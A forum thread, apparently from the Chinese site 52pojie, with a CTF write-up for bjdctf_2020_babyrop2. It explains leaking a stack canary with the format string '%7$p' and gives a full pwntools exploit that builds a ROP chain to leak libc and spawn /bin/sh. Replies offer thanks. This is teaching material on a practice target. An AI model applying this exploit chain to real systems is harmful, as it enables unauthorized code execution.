吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2077|回复: 9
收起左侧

[CTF] [格式化字符串基础题]bjdctf_2020_babyrop2

  [复制链接]
bnuzgn 发表于 2023-7-31 19:07
本帖最后由 bnuzgn 于 2023-7-31 19:09 编辑

参考链接
  • 跟羽夏学 Ghidra ——数据:https://www.cnblogs.com/wingsummer/p/16692229.html
  • https://blog.csdn.net/pondzhang/article/details/106307463
  • https://github.com/scwuaptx/Pwngdb

题目信息

64位、libc2.23,开了canary

1.png    

main函数中可以看出顺序为gift、vuln,还能发现canary的赋值与检测代码。

    2.png

gift中可以使用格式化字符串漏洞。

备注:ghidra无法自动识别scanf中的字符串(IDA可以哦),需要人工调整,具体参考链接1.

    3.png

vuln中存在栈溢出漏洞。距离canary0x18个字节。

    4.png

栈偏移如下

    5.png

解题思路

需要两步:泄露canary的值、栈溢出得到libc基址。

关键步骤

canary在64位中保存在rbp-0x8处,长度为8字节。因此可以利用字符串格式化泄漏这个值。参考pwngdb的使用方法(链接3),我们在printf函数处下断点,直接找出canary的栈中偏移位置。

    6.png

    7.png

    8.png

如此就可以得到canary的值,会作为字符串输出出来,0x后的16个字符串即为canary的16进制的数值。

其他还有别的绕过canary的方法,参考wiki吧:https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/

WP

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "bjdctf_2020_babyrop2"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",29900)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

vul_addr = elf.sym['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret_addr = 0x0000000000400993

sla("help u!","%7$p")
r.recvuntil("0x")
canary = int(r.recv(16), 16)
lg('canary')
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(vul_addr)
sla("u story!",payload)
puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh  = libc_base + libc.search(b'/bin/sh').__next__()
lg('libc_base')
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(rdi_ret_addr) + p64(bin_sh) + p64(system_addr) + p64(vul_addr)
sla("u story!",payload)
ti()

免费评分

参与人数 4威望 +1 吾爱币 +22 热心值 +4 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
抱薪风雪雾 + 1 + 1 谢谢@Thanks!
b12312312 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

花里胡哨的名字 发表于 2023-7-31 20:51
3666666666666666666
aqwertyuioplkjh 发表于 2023-7-31 22:37
lotus1020 发表于 2023-8-1 08:49
rjqg2023 发表于 2023-8-1 09:22
学习网站,感谢楼主分享
HKCBBY 发表于 2023-8-1 10:26
特别好,感谢楼主分享
抱薪风雪雾 发表于 2023-8-1 11:04
感谢深入浅出的讲解,学语言的兴趣抬头了
 楼主| bnuzgn 发表于 2023-8-1 11:41
在函数调用时,参数通过栈传递给被调用函数。函数的第一个参数通常存储在栈的低地址处,靠近栈顶,而后续的参数依次存储在较高地址处。使用%n$p的格式控制符可以输出函数调用栈中偏移第n个栈空间的内容。
printf("%7$p");该语句打印参数列表中第7个参数(栈中距离第一个参数偏移7个机器字长的栈空间)的值,以十六进制形式表示。   
liuyouxiao 发表于 2023-8-1 14:18
晚点看下这个pwndbg  看起来很 顺手啊
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-1 07:11

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表